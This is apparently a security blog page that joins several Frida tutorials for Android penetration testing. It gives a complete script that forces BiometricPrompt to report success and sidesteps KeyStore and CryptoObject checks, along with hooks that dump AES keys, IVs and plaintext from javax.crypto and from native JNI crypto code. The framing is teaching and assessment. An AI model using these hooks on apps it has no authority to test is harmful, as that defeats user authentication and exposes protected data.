    Java.perform(function() {    const BiometricPrompt = Java.use('androidx.biometric.BiometricPrompt');    const BiometricPromptAuthCallback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');    const BiometricPromptAuthResult = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');    const KeyStore = Java.use('java.security.KeyStore');    // Hook all overloads of authenticate    const authenticateOverloads = BiometricPrompt.authenticate.overloads;    authenticateOverloads.forEach(function(overload) {        overload.implementation = function() {            console.log('[-] Intercepted BiometricPrompt.authenticate call!');            const callback = arguments[arguments.length - 1]; // Callback is always the last argument            // Create a dummy AuthenticationResult            const dummyAuthenticationResult = BiometricPromptAuthResult.$new(null, null); // Can be null if no CryptoObject            // Call onAuthenticationSucceeded directly on the app's callback            Java.scheduleOnMainThread(function() {                console.log('[+] Forcing onAuthenticationSucceeded callback!');                callback.onAuthenticationSucceeded(dummyAuthenticationResult);            });            // Prevent original authenticate from being called            // return this.authenticate.apply(this, arguments); // Uncomment to let original method run too, if needed        };    });    // Optionally, if dealing with a CryptoObject and KeyStore    const BiometricCryptoObject = Java.use('androidx.biometric.BiometricPrompt$CryptoObject');    BiometricCryptoObject.$init.implementation = function(keyStore) {        console.log('[-] BiometricPrompt.CryptoObject initialized with KeyStore. Ignoring...');        return this.$init(null); // Pass null to bypass cryptographic linkage, if applicable    };    KeyStore.load.overload('java.security.KeyStore$LoadStoreParameter').implementation = function(param) {        console.log('[-] KeyStore.load called with LoadStoreParameter. Ignoring parameter.');        this.load(null); // Attempt to load without parameter, effectively bypassing any crypto object initialization issues    };    KeyStore.load.overload('java.io.InputStream', '[C').implementation = function(stream, password) {        console.log('[-] KeyStore.load called with InputStream and password. Ignoring parameters.');        this.load(null, null); // Attempt to load without parameters    };});

    In this script, we iterate through all overloads of authenticate. For each, we extract the AuthenticationCallback object (which is always the last argument) and directly invoke its onAuthenticationSucceeded method. We wrap this in Java.scheduleOnMainThread to ensure UI-related operations are handled correctly. We also include a basic bypass for CryptoObject initialization if the app relies on it, by passing null.

    Handling CryptoObject (Advanced)

    If the application uses BiometricPrompt.CryptoObject, it implies that a cryptographic key is involved, often retrieved from Android’s KeyStore. Directly forcing success might work, but the application could later fail if it tries to use a non-initialized or invalid CryptoObject. In such cases, you might need to:

    • Hook KeyStore methods (e.g., load(), getEntry()) to ensure they return valid, if dummy, objects.
    • Hook the constructor of BiometricPrompt.CryptoObject to ensure it’s initialized with a usable (even if weak) cryptographic primitive or null it out if the app tolerates it.

    The provided script above includes a basic attempt to nullify the CryptoObject during its construction and bypass KeyStore loading parameters, which can be a starting point for more complex cryptographic bypasses.

    Putting It All Together: A Practical Scenario

    Step 1: Set up your environment

    Ensure you have a rooted Android device or emulator, Frida server running on it, and Frida CLI installed on your host machine.

    $ adb shell # Push frida-server to /data/local/tmp $ chmod +x /data/local/tmp/frida-server $ /data/local/tmp/frida-server & # On host machine $ frida-ps -Uai # Verify connection and list installed apps

    Step 2: Develop a Sample App (Conceptual)

    Imagine a simple Android app with a login screen protected by a biometric prompt. The app’s relevant code might look like this:

    public class MainActivity extends AppCompatActivity {    private BiometricPrompt biometricPrompt;    private BiometricPrompt.PromptInfo promptInfo;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Executor executor = ContextCompat.getMainExecutor(this);        BiometricPrompt.AuthenticationCallback callback = new BiometricPrompt.AuthenticationCallback() {            @Override            public void onAuthenticationError(int errorCode, CharSequence errString) {                super.onAuthenticationError(errorCode, errString);                Log.e("BIO", "Auth error: " + errString);                Toast.makeText(getApplicationContext(), "Auth Error: " + errString, Toast.LENGTH_SHORT).show();            }            @Override            public void onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) {                super.onAuthenticationSucceeded(result);                Log.i("BIO", "Auth success!");                Toast.makeText(getApplicationContext(), "Authentication Succeeded!", Toast.LENGTH_SHORT).show();                // Navigate to secured content            }            @Override            public void onAuthenticationFailed() {                super.onAuthenticationFailed();                Log.w("BIO", "Auth failed.");                Toast.makeText(getApplicationContext(), "Auth Failed", Toast.LENGTH_SHORT).show();            }        };        biometricPrompt = new BiometricPrompt(this, executor, callback);        promptInfo = new BiometricPrompt.PromptInfo.Builder()                .setTitle("Biometric Login")                .setSubtitle("Log in using your biometric credential")                .setNegativeButtonText("Cancel")                .build();        findViewById(R.id.login_button).setOnClickListener(v -> biometricPrompt.authenticate(promptInfo));    }}

    Step 3: Crafting the Frida Bypass Script

    Using the previously discussed Frida script (the one for forcing success), we can target this application. Save the script as bypass_bio.js and run it:

    $ frida -U -f com.example.biometricapp -l bypass_bio.js --no-pause

    Now, when you tap the login button in the application, the biometric prompt will appear briefly, but then immediately trigger the onAuthenticationSucceeded callback, effectively bypassing the biometric check. The application will behave as if a successful biometric scan occurred.

    Limitations and Mitigations

    While powerful, Frida hooking for biometric bypass has limitations:

    • Server-Side Validation: If the application performs server-side authentication checks that also involve biometric data (e.g., signing a challenge with a biometric-bound key), this client-side bypass won’t directly grant access to server-protected resources.
    • Obfuscation: Heavily obfuscated applications can make static analysis and identifying target methods more challenging.

    Developers can mitigate these issues by:

    • Implementing strong server-side authentication for critical operations.
    • Using code obfuscation tools like ProGuard/R8 effectively.
    • Ensuring cryptographic operations tied to biometrics use hardware-backed keys where available and are validated server-side if sensitive.

    Conclusion

    Reverse engineering Android Biometric APIs and employing advanced Frida hooking techniques provides a deep insight into how mobile applications secure user data and how these protections can be challenged. By understanding the underlying API calls, callback mechanisms, and the role of CryptoObject, we can effectively craft runtime bypasses. This knowledge is invaluable for penetration testers to assess application security and for developers to build more resilient biometric authentication systems.

  • Bypassing Android Crypto Obfuscation: Advanced Frida Techniques for Unpacking Routines

    Introduction

    Android applications frequently employ cryptographic routines to protect sensitive data, secure communications, and implement licensing mechanisms. However, in an attempt to thwart reverse engineering and tampering, developers often obfuscate these crypto implementations. This can involve techniques ranging from simple method renaming and string encryption to complex control flow obfuscation, dynamic class loading, and the use of native libraries. Static analysis tools like Jadx or Ghidra often struggle to provide a clear picture of these obfuscated routines, making dynamic analysis with tools like Frida indispensable for penetration testers and security researchers.

    This article delves into advanced Frida techniques specifically tailored for unpacking and understanding obfuscated Android crypto functions. We’ll cover identifying crypto operations, hooking Java and native APIs, and dynamic memory inspection to reveal the secrets hidden within.

    The Challenge of Obfuscated Android Cryptography

    Obfuscation aims to make static analysis difficult and time-consuming. Common techniques include:

    • Renaming/Shuffling: Class, method, and field names are replaced with meaningless characters (e.g., `a.b.c.d` instead of `com.example.CryptoUtil`).
    • String Encryption: Keys, IVs, and algorithm names are encrypted at rest and decrypted only at runtime.
    • Control Flow Obfuscation: Injecting junk code, splitting basic blocks, or using indirect jumps to confuse decompilers.
    • Reflection and Dynamic Loading: Crypto classes or methods are loaded and invoked dynamically using `DexClassLoader` or reflection, making them invisible to static analysis.
    • Native Implementations: Moving critical crypto logic into C/C++ native libraries (JNI), which requires disassembling and debugging native code.

    These techniques collectively create a significant hurdle for understanding an application’s cryptographic behavior. Our goal is to bypass these challenges using Frida’s powerful runtime instrumentation capabilities.

    Setting Up Your Frida Environment

    Before diving into advanced techniques, ensure you have a working Frida setup:

    1. A rooted Android device or an emulator.
    2. Frida server running on the device.
    3. Frida-tools installed on your host machine.
    # On the Android device (via adb shell) or emulator:./data/local/tmp/frida-server &# On your host machine:pip install frida-toolsfrida-ps -U

    Identifying Crypto Operations at Runtime

    Initial Static Analysis Clues

    Even heavily obfuscated apps leave some breadcrumbs. Use a decompiler (Jadx, Ghidra) to look for:

    • Imports of `javax.crypto.*`, `android.security.*`.
    • Keywords like `AES`, `RSA`, `DES`, `SHA`, `MD5`, `CBC`, `GCM`, `PKCS5Padding`.
    • Strings that might represent algorithm names or modes, even if encrypted (you’ll need to decrypt them later).

    These clues provide starting points for targeted Frida hooks. For example, search for `doFinal` or `update` methods.

    Dynamic Observation with Frida Tracing

    Frida-trace is an excellent tool for quick dynamic reconnaissance. It can hook methods and log their calls without writing a full Frida script. This helps confirm if crypto-related methods are being invoked when you interact with the app.

    frida-trace -U -f com.example.targetapp -i

  • Frida & Android NDK Crypto: Hooking Native Encryption Libraries (C/C++) for Deep Analysis

    Introduction

    Android applications often leverage native libraries (C/C++) via the Native Development Kit (NDK) for performance-critical operations, code obfuscation, or to reuse existing C/C++ codebases. Cryptographic functions are a prime candidate for NDK implementation, making their analysis challenging for penetration testers and security researchers. Understanding how these native crypto routines operate—identifying keys, IVs, plaintexts, and ciphertexts—is crucial for assessing an app’s security posture. This article delves into using Frida, a dynamic instrumentation toolkit, to hook and analyze native C/C++ cryptographic functions within Android NDK libraries.

    Why Native Crypto?

    Developers choose native implementations for several reasons:

    • Performance: C/C++ often offers better performance than Java/Kotlin, especially for computationally intensive tasks like cryptography.
    • Obfuscation: Native code is generally harder to decompile and reverse engineer than Dalvik bytecode, providing a layer of protection against analysis.
    • Code Reusability: Existing C/C++ crypto libraries (e.g., OpenSSL, Libsodium) can be directly integrated, saving development time.

    However, this obfuscation also means traditional Java-level hooking (e.g., Xposed) won’t suffice. This is where Frida’s ability to interact with native memory and functions shines.

    Prerequisites

    • An Android device or emulator with root access.
    • ADB (Android Debug Bridge) installed and configured on your host machine.
    • Frida server running on the Android device.
    • Frida-tools installed on your host machine (`pip install frida-tools`).
    • Basic knowledge of C/C++, JNI, and Android NDK build process.
    • Reverse engineering tools like Ghidra or IDA Pro (recommended for identifying native functions).

    Identifying Native Cryptographic Functions

    Before hooking, you need to know what to hook. This involves reverse engineering the application’s native libraries.

    1. Locate Native Libraries

    Android NDK libraries are typically found in the app’s `lib` directory (e.g., `/data/app/com.example.app/lib/arm64`). You can pull them using ADB:

    adb shell pm path com.example.app # Get APK path
    adb pull /data/app/com.example.app-1/lib/arm64/libnativecrypto.so .

    2. Analyze Library Symbols

    Use tools like `nm` (from binutils, often part of an NDK toolchain) or disassemblers (Ghidra, IDA Pro) to identify exported functions. Look for function names that suggest cryptographic operations (e.g., `encryptData`, `decryptBuffer`, `AES_init_key`, `Java_com_example_app_NativeCrypto_encrypt`).

    For JNI-exposed methods, the naming convention is `Java_package_name_ClassName_MethodName`.

    nm -D libnativecrypto.so | grep Java_com_example_app
    nm -D libnativecrypto.so | grep encrypt

    This will list dynamically linked symbols. If a function is not exported, you’ll need to find its offset within the library’s base address, which is a more advanced technique requiring deeper reverse engineering.

    Developing a Target: A Simple Native Crypto Example

    Let’s consider a simplified native library with a JNI function that calls an internal C++ encryption routine. We’ll use a basic XOR cipher for demonstration.

    Native C++ Code (`native_crypto.cpp`)

    #include 
    #include 
    #include 
    #include 
    
    #define LOG_TAG "NativeCrypto"
    #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
    
    // Internal "encryption" function
    std::vector internalXorEncrypt(const std::vector& data, const std::string& key) {
        LOGI("internalXorEncrypt called. Data size: %zu, Key length: %zu", data.size(), key.length());
        std::vector result(data.size());
        for (size_t i = 0; i < data.size(); ++i) {
            result[i] = data[i] ^ key[i % key.length()];
        }
        return result;
    }
    
    extern "C" JNIEXPORT jbyteArray JNICALL
    Java_com_example_fridahookndk_NativeCrypto_encryptData(
            JNIEnv* env,
            jclass clazz,
            jbyteArray data,
            jstring key) {
    
        // Convert jbyteArray to std::vector
        jbyte* data_ptr = env->GetByteArrayElements(data, NULL);
        jsize data_len = env->GetArrayLength(data);
        std::vector plain_data(data_ptr, data_ptr + data_len);
        env->ReleaseByteArrayElements(data, data_ptr, JNI_ABORT);
    
        // Convert jstring to std::string
        const char* key_cstr = env->GetStringUTFChars(key, NULL);
        std::string encryption_key(key_cstr);
        env->ReleaseStringUTFChars(key, key_cstr);
    
        LOGI("JNI_encryptData: Plaintext size: %zu, Key: %s", plain_data.size(), encryption_key.c_str());
    
        // Call internal encryption function
        std::vector encrypted_data = internalXorEncrypt(plain_data, encryption_key);
    
        // Convert std::vector to jbyteArray
        jbyteArray j_encrypted_data = env->NewByteArray(encrypted_data.size());
        env->SetByteArrayRegion(j_encrypted_data, 0, encrypted_data.size(), (jbyte*)encrypted_data.data());
    
        return j_encrypted_data;
    }
    
    extern "C" JNIEXPORT jbyteArray JNICALL
    Java_com_example_fridahookndk_NativeCrypto_decryptData(
            JNIEnv* env,
            jclass clazz,
            jbyteArray data,
            jstring key) {
    
        // Similar conversion and calling internalXorEncrypt for decryption (XOR is symmetric)
        // ... (omitted for brevity, assume similar logic to encryptData)
    
        jbyte* data_ptr = env->GetByteArrayElements(data, NULL);
        jsize data_len = env->GetArrayLength(data);
        std::vector cipher_data(data_ptr, data_ptr + data_len);
        env->ReleaseByteArrayElements(data, data_ptr, JNI_ABORT);
    
        const char* key_cstr = env->GetStringUTFChars(key, NULL);
        std::string encryption_key(key_cstr);
        env->ReleaseStringUTFChars(key, key_cstr);
    
        LOGI("JNI_decryptData: Ciphertext size: %zu, Key: %s", cipher_data.size(), encryption_key.c_str());
    
        std::vector decrypted_data = internalXorEncrypt(cipher_data, encryption_key); // XOR is symmetric
    
        jbyteArray j_decrypted_data = env->NewByteArray(decrypted_data.size());
        env->SetByteArrayRegion(j_decrypted_data, 0, decrypted_data.size(), (jbyte*)decrypted_data.data());
    
        return j_decrypted_data;
    }
    

    `CMakeLists.txt` for NDK Build

    cmake_minimum_required(VERSION 3.4.1)
    
    add_library( # Sets the name of the library.
                 native_crypto
                 # Sets the library as a shared library.
                 SHARED
                 # Provides a relative path to your source file(s).
                 native_crypto.cpp )
    
    find_library( # Sets the name of the path variable. 
                  log-lib # The name of the NDK library that 
                          # you want CMake to locate. 
                  log )
    
    target_link_libraries( # Specifies the target library for which 
                           # you want to link other libraries.
                           native_crypto
                           # Specifies the libraries to link. 
                           ${log-lib} )
    

    Writing the Frida Hook Script

    Now, let’s create a Frida script (`hook_crypto.js`) to intercept the JNI `encryptData` function and its internal `internalXorEncrypt` call.

    setTimeout(function() {
        Java.perform(function() {
            console.log("[*] Frida script started.");
    
            // --- Hooking JNI exposed method --- 
            // Target the NativeCrypto class and its encryptData method
            var NativeCrypto = Java.use('com.example.fridahookndk.NativeCrypto');
            NativeCrypto.encryptData.implementation = function(data, key) {
                console.log("n[+] JNI Method Hook: NativeCrypto.encryptData Called!");
    
                // Read the jbyteArray (data) argument
                var plainByteArray = Java.array('byte', data);
                var plaintext = '';
                for (var i = 0; i < plainByteArray.length; i++) {
                    plaintext += String.fromCharCode(plainByteArray[i]);
                }
                console.log("    Plaintext (JNI): " + plaintext);
    
                // Read the jstring (key) argument
                var encryptionKey = key.toString();
                console.log("    Key (JNI): " + encryptionKey);
    
                // Call the original method
                var result = this.encryptData(data, key);
    
                // Read the jbyteArray (result) argument
                var cipherByteArray = Java.array('byte', result);
                var ciphertext = '';
                for (var i = 0; i < cipherByteArray.length; i++) {
                    ciphertext += String.fromCharCode(cipherByteArray[i]);
                }
                console.log("    Ciphertext (JNI): " + ciphertext);
                console.log("[+] JNI Method Hook: NativeCrypto.encryptData Returned!");
                return result;
            };
    
            NativeCrypto.decryptData.implementation = function(data, key) {
                console.log("n[+] JNI Method Hook: NativeCrypto.decryptData Called!");
    
                var cipherByteArray = Java.array('byte', data);
                var ciphertext = '';
                for (var i = 0; i < cipherByteArray.length; i++) {
                    ciphertext += String.fromCharCode(cipherByteArray[i]);
                }
                console.log("    Ciphertext (JNI): " + ciphertext);
    
                var decryptionKey = key.toString();
                console.log("    Key (JNI): " + decryptionKey);
    
                var result = this.decryptData(data, key);
    
                var plainByteArray = Java.array('byte', result);
                var plaintext = '';
                for (var i = 0; i < plainByteArray.length; i++) {
                    plaintext += String.fromCharCode(plainByteArray[i]);
                }
                console.log("    Decrypted Plaintext (JNI): " + plaintext);
                console.log("[+] JNI Method Hook: NativeCrypto.decryptData Returned!");
                return result;
            };
    
            // --- Hooking Native (C++) function directly --- 
            // First, find the base address of the native library
            var libNativeCrypto = Module.findExportByName("libnative_crypto.so", "Java_com_example_fridahookndk_NativeCrypto_encryptData");
            if (!libNativeCrypto) {
                console.error("[-] Could not find JNI encryptData export in libnative_crypto.so");
                return;
            }
    
            // For internalXorEncrypt, it might not be exported directly.
            // You would typically find its offset using Ghidra/IDA.
            // Let's assume for this example, we found its symbol in exports or calculated its offset.
            // If not exported, you'd need Module.base.add(offset).
            // For demonstration, let's target the internalXorEncrypt function, assuming we have its symbol (unlikely for private functions, but possible if compiled with debug symbols or specific linker settings).
            // If it's a private function, you'd calculate its offset relative to the library base.
            // For simplicity, let's pretend internalXorEncrypt is also found by its full mangled name or a known offset.
            // A more realistic scenario involves finding the call site in JNI_encryptData and jumping/hooking there.
    
            // For this example, we'll try to find internalXorEncrypt. If it's not exported, Module.findExportByName will return null.
            // In a real scenario, you'd manually find the address with Ghidra/IDA relative to libnative_crypto.so's base address.
            // For our simple C++ code above, `internalXorEncrypt` is not `extern "C"` and thus will be name-mangled. 
            // We'd need the mangled name (e.g., `_Z18internalXorEncryptRKSt6vectorIhSaIhEERKSt12__cxx11string`) or an offset.
            // Let's hook the JNI function directly as a more reliable approach for entry points.
    
            // Let's refine the native hook to focus on a C-style exported function or a known offset.
            // As our internalXorEncrypt is a C++ function not exported as `extern "C"`, it's complex to hook by name.
            // A simpler native hook example might be: `Module.findExportByName("libc.so", "strlen");`
    
            // We'll stick to JNI method hooking which is usually the entry point to native crypto.
            // However, if we found an exported C function, this is how you'd hook it:
            /*
            var myNativeFunctionPtr = Module.findExportByName("libnative_crypto.so", "my_exported_c_function");
            if (myNativeFunctionPtr) {
                Interceptor.attach(myNativeFunctionPtr, {
                    onEnter: function(args) {
                        console.log("n[+] Native Hook: my_exported_c_function Called!");
                        // args[0], args[1]... represent function arguments
                        // Example: Read a pointer to data
                        var dataPtr = args[0];
                        var dataSize = args[1].toInt32(); // Assuming size is the second argument
                        console.log("    Data Pointer: " + dataPtr);
                        console.log("    Data Size: " + dataSize);
                        console.log("    Data: " + Memory.readByteArray(dataPtr, dataSize));
                    },
                    onLeave: function(retval) {
                        console.log("    Return Value: " + retval);
                        console.log("[+] Native Hook: my_exported_c_function Returned!");
                    }
                });
            }
            */
    
            console.log("[*] Frida script configured.");
        });
    }, 0);
    

    Executing the Frida Script

    1. Ensure the Frida server is running on your Android device/emulator.

    adb shell frida-server # Or run in background

    2. Run the Frida script, targeting your application’s package name:

    frida -U -f com.example.fridahookndk -l hook_crypto.js --no-pause

    The `–no-pause` flag tells Frida to automatically resume the application after injection. If you omit it, the app will pause, and you’ll need to manually resume it using `%resume` in the Frida console.

    Analyzing the Output

    When the application calls `NativeCrypto.encryptData` or `NativeCrypto.decryptData`, your Frida script will intercept these calls. The console output will display:

    • The plaintext data and the encryption key being passed to the JNI `encryptData` method.
    • The resulting ciphertext after the encryption.
    • Similarly for decryption, the ciphertext, key, and the resulting plaintext.

    This allows you to observe the inputs and outputs of the cryptographic operations in real-time. If the encryption key or plaintext is sensitive, you’ve successfully identified where it’s being used and can log it for further analysis.

    For example, you might see output like:

    [*] Frida script started.
    [*] Frida script configured.
    [+] JNI Method Hook: NativeCrypto.encryptData Called!
        Plaintext (JNI): Hello, World!
        Key (JNI): mySecretKey
    [+] JNI Method Hook: NativeCrypto.encryptData Returned!
    [+] JNI Method Hook: NativeCrypto.decryptData Called!
        Ciphertext (JNI): 
        Key (JNI): mySecretKey
        Decrypted Plaintext (JNI): Hello, World!

    (Note: The ciphertext for XOR will likely be non-printable characters, so printing `String.fromCharCode` might result in empty or garbled output depending on the content. For real crypto, you’d typically log hex representations of byte arrays).

    Advanced Considerations

    • Non-Exported Functions: If the target native function is not exported (e.g., an internal helper function within a C++ class), you cannot use `Module.findExportByName`. Instead, you’ll need to use a disassembler (Ghidra/IDA) to find its exact offset from the library’s base address and then hook it using `Module.base.add(offset)`.
    • Name Mangling: C++ functions often have mangled names. Tools like `c++filt` can demangle them, but finding the exact mangled name for `Module.findExportByName` can be tricky. Using offsets or hooking the JNI entry point is often more reliable.
    • Register Analysis: For more complex native functions, especially those that pass arguments in registers, you might need to analyze the `this.context.r0`, `r1`, `x0`, `x1` etc., depending on the architecture (ARM, ARM64) within `onEnter` and `onLeave`.
    • Memory Structures: Often, cryptographic functions operate on custom C/C++ structs. You’ll need to define these structures in your Frida script using `Memory.alloc` and `read` functions, or `NativeStruct` to properly interpret the arguments.

    Conclusion

    Frida provides a powerful and flexible platform for deep analysis of Android applications, particularly when dealing with native code. By understanding how to identify, hook, and interpret calls to NDK-based cryptographic functions, security researchers can uncover sensitive data, bypass obfuscation, and gain critical insights into an app’s security mechanisms. This technique is invaluable for comprehensive penetration testing and reverse engineering of Android applications that rely on native crypto implementations.

  • From Bytecode to Plaintext: A Step-by-Step Guide to Decrypting Android App Data with Frida

    Introduction: The Encrypted Android Data Challenge

    Modern Android applications frequently encrypt sensitive user data or communication payloads to enhance security. While this is a good practice, it poses a significant challenge for penetration testers and security researchers trying to understand an app’s internal workings or analyze its data handling. Simply intercepting network traffic or inspecting local databases often reveals only ciphertext, making analysis impossible. This guide will walk you through leveraging Frida, a dynamic instrumentation toolkit, to bypass these encryption layers and recover plaintext data directly from an Android application’s memory.

    Prerequisites for Decryption

    Before we dive into the technical details, ensure you have the following tools and knowledge:

    • A rooted Android device or an emulator (e.g., Android Studio Emulator, Genymotion)
    • ADB (Android Debug Bridge) installed and configured on your host machine
    • Frida server running on the Android device and Frida client installed on your host machine
    • Basic understanding of Java/Kotlin and Android application structure
    • A decompiler like Jadx-GUI or Ghidra for static analysis

    Setting Up Frida

    If you haven’t already, install the Frida client on your host and the Frida server on your Android device:

    # On your host machine (Python 3 required)pip install frida-tools# Download the appropriate Frida server for your device's architecture (e.g., arm64)https://github.com/frida/frida/releaseswget https://github.com/frida/frida/releases/download/16.1.4/frida-server-16.1.4-android-arm64# Push to device and runadb push frida-server-16.1.4-android-arm64 /data/local/tmp/frida-serveradb shell 'chmod 755 /data/local/tmp/frida-server'adb shell '/data/local/tmp/frida-server &'

    Identifying Encryption Routines: Static Analysis First

    The first step is to locate where the application performs its encryption. Common encryption operations in Android applications often involve standard Java Cryptography Architecture (JCA) classes, particularly those within the javax.crypto package. Use a decompiler like Jadx-GUI to search for relevant keywords:

    • Cipher.getInstance: Indicates the instantiation of a cipher with a specific algorithm (e.g., AES/CBC/PKCS5Padding).
    • Cipher.init: Where the cipher is initialized for encryption/decryption, often revealing the key and IV.
    • Cipher.doFinal: The method that performs the actual cryptographic operation.
    • SecretKeySpec, IvParameterSpec: Classes used to wrap raw key and IV bytes.

    For example, if an app uses AES, you might find code similar to this in the decompiled source:

    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "AES");IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);byte[] encryptedData = cipher.doFinal(plaintextData);

    Pinpointing these methods is crucial for effective Frida hooking.

    Hooking Cipher.doFinal for Data Interception

    The doFinal method is where the plaintext is transformed into ciphertext (or vice versa). By hooking this method, we can intercept the data just before or after encryption/decryption. Let’s create a Frida script to log the input and output of doFinal.

    Java.perform(function() {    var Cipher = Java.use('javax.crypto.Cipher');    Cipher.doFinal.overload('[B').implementation = function(input) {        console.log("Cipher.doFinal([B) called!");        console.log("Input (byte array):");        console.log(hexdump(input, { offset: 0, length: input.length, header: true, ansi: true }));        var result = this.doFinal(input);        console.log("Output (byte array):");        console.log(hexdump(result, { offset: 0, length: result.length, header: true, ansi: true }));        return result;    };    Cipher.doFinal.overload('[B', 'int', 'int').implementation = function(input, inputOffset, inputLen) {        console.log("Cipher.doFinal([B, int, int) called!");        var actualInput = input.slice(inputOffset, inputOffset + inputLen);        console.log("Input (byte array):");        console.log(hexdump(actualInput, { offset: 0, length: actualInput.length, header: true, ansi: true }));        var result = this.doFinal(input, inputOffset, inputLen);        console.log("Output (byte array):");        console.log(hexdump(result, { offset: 0, length: result.length, header: true, ansi: true }));        return result;    };});

    To run this script against an application (replace com.example.app with your target app’s package name):

    frida -U -f com.example.app -l your_script.js --no-pause

    This script logs the input and output byte arrays of doFinal. You’ll see which data is being processed, but it’s still in hex form and you won’t know the key or IV yet.

    Extracting Encryption Keys and IVs

    To decrypt the data, we need the encryption key and Initialization Vector (IV). These are typically passed to Cipher.init, often wrapped in SecretKeySpec and IvParameterSpec objects. We can hook the constructors of these classes to extract their raw byte arrays.

    Hooking SecretKeySpec

    The SecretKeySpec constructor takes the raw key bytes and the algorithm name.

    Java.perform(function() {    var SecretKeySpec = Java.use('javax.crypto.spec.SecretKeySpec');    SecretKeySpec.$init.overload('[B', 'java.lang.String').implementation = function(keyBytes, algorithm) {        console.log("SecretKeySpec constructor called!");        console.log("Algorithm: " + algorithm);        console.log("Key Bytes:");        console.log(hexdump(keyBytes, { offset: 0, length: keyBytes.length, header: true, ansi: true }));        this.$init(keyBytes, algorithm);    };});

    Hooking IvParameterSpec

    Similarly, the IvParameterSpec constructor takes the raw IV bytes.

    Java.perform(function() {    var IvParameterSpec = Java.use('javax.crypto.spec.IvParameterSpec');    IvParameterSpec.$init.overload('[B').implementation = function(ivBytes) {        console.log("IvParameterSpec constructor called!");        console.log("IV Bytes:");        console.log(hexdump(ivBytes, { offset: 0, length: ivBytes.length, header: true, ansi: true }));        this.$init(ivBytes);    };});

    Combine these hooks with the Cipher.doFinal hook into a single Frida script. Now, when the app performs an encryption operation, you will see the key, IV, plaintext, and ciphertext all printed in your console. This provides all the necessary components for external decryption.

    Putting It All Together: Decrypting the Data

    Let’s refine our comprehensive Frida script to log everything in an easily parsable format. We’ll add logic to identify if doFinal is performing encryption or decryption based on the Cipher.init mode.

    Java.perform(function() {    var currentKey = null;    var currentIv = null;    var currentCipherMode = null;    // Hook SecretKeySpec constructor    var SecretKeySpec = Java.use('javax.crypto.spec.SecretKeySpec');    SecretKeySpec.$init.overload('[B', 'java.lang.String').implementation = function(keyBytes, algorithm) {        console.log("[+] New SecretKeySpec created! Algorithm: " + algorithm);        currentKey = keyBytes;        console.log("    Key: " + hexdump(keyBytes, { offset: 0, length: keyBytes.length, header: false, ansi: false }));        this.$init(keyBytes, algorithm);    };    // Hook IvParameterSpec constructor    var IvParameterSpec = Java.use('javax.crypto.spec.IvParameterSpec');    IvParameterSpec.$init.overload('[B').implementation = function(ivBytes) {        console.log("[+] New IvParameterSpec created!");        currentIv = ivBytes;        console.log("    IV:  " + hexdump(ivBytes, { offset: 0, length: ivBytes.length, header: false, ansi: false }));        this.$init(ivBytes);    };    // Hook Cipher.init to capture mode    var Cipher = Java.use('javax.crypto.Cipher');    Cipher.init.overload('int', 'java.security.Key', 'java.security.spec.AlgorithmParameterSpec').implementation = function(opmode, key, params) {        currentCipherMode = opmode; // 1 for ENCRYPT_MODE, 2 for DECRYPT_MODE        console.log("[+] Cipher initialized with mode: " + (opmode == 1 ? "ENCRYPT_MODE" : "DECRYPT_MODE"));        this.init(opmode, key, params);    };    // Hook Cipher.doFinal to capture data    Cipher.doFinal.overload('[B').implementation = function(input) {        var data_type = (currentCipherMode == 1) ? "Plaintext" : "Ciphertext";        console.log("[+] " + data_type + " (input to doFinal):");        console.log(hexdump(input, { offset: 0, length: input.length, header: false, ansi: false }));        var output = this.doFinal(input);        var result_type = (currentCipherMode == 1) ? "Ciphertext" : "Plaintext";        console.log("[+] " + result_type + " (output from doFinal):");        console.log(hexdump(output, { offset: 0, length: output.length, header: false, ansi: false }));        console.log("---------------------------------------------------");        return output;    };});

    With this script, when the app performs an encryption/decryption operation, you will get the key, IV, input data (plaintext or ciphertext), and output data (ciphertext or plaintext) logged in your console. You can then take the captured ciphertext, key, and IV, and use an external tool (e.g., Python with PyCryptodome, or an online AES calculator) to perform offline decryption/encryption to verify the process or manipulate data.

    Example: Offline Decryption in Python

    Assuming you captured:

    • Key: 0102030405060708090a0b0c0d0e0f10 (16 bytes for AES-128)
    • IV: 1112131415161718191a1b1c1d1e1f20 (16 bytes)
    • Ciphertext: f8c1...

    You can use Python to decrypt:

    from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport base64def decrypt_aes_cbc(ciphertext_hex, key_hex, iv_hex):    key = bytes.fromhex(key_hex)    iv = bytes.fromhex(iv_hex)    ciphertext = bytes.fromhex(ciphertext_hex)    cipher = AES.new(key, AES.MODE_CBC, iv)    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)    return plaintext.decode('utf-8') # Or 'latin-1' if not UTF-8# Replace with your captured valuescaptured_key = "0102030405060708090a0b0c0d0e0f10" # Examplekeycaptured_iv = "1112131415161718191a1b1c1d1e1f20"   # Example IVcaptured_ciphertext = "f8c1..." # Your actual captured ciphertextprint(f"Decrypted: {decrypt_aes_cbc(captured_ciphertext, captured_key, captured_iv)}")

    Conclusion

    Frida is an incredibly powerful tool for dynamic analysis of Android applications, particularly when dealing with encrypted data. By systematically identifying encryption routines through static analysis and then dynamically hooking critical cryptographic functions like Cipher.doFinal, SecretKeySpec, and IvParameterSpec, we can intercept and extract the necessary components (keys, IVs, plaintext, ciphertext) to understand and manipulate encrypted data flows. This capability is invaluable for security assessments, vulnerability research, and understanding the true behavior of Android applications beneath their protected surface.

  • Frida Biometric Bypass: Step-by-Step Guide to Evading Android Fingerprint & Face Authentication

    Introduction to Android Biometric Security and Frida

    Biometric authentication has become a cornerstone of modern mobile security, offering a convenient yet robust method for users to protect their devices and sensitive applications. Android’s BiometricPrompt API provides a unified way for developers to integrate fingerprint, face, and other biometric verification methods. However, in the realm of penetration testing and security research, understanding how to bypass these mechanisms is crucial for identifying potential vulnerabilities and assessing an application’s true security posture. This expert guide will walk you through the process of dynamically analyzing and bypassing Android biometric authentication using Frida, a powerful dynamic instrumentation toolkit.

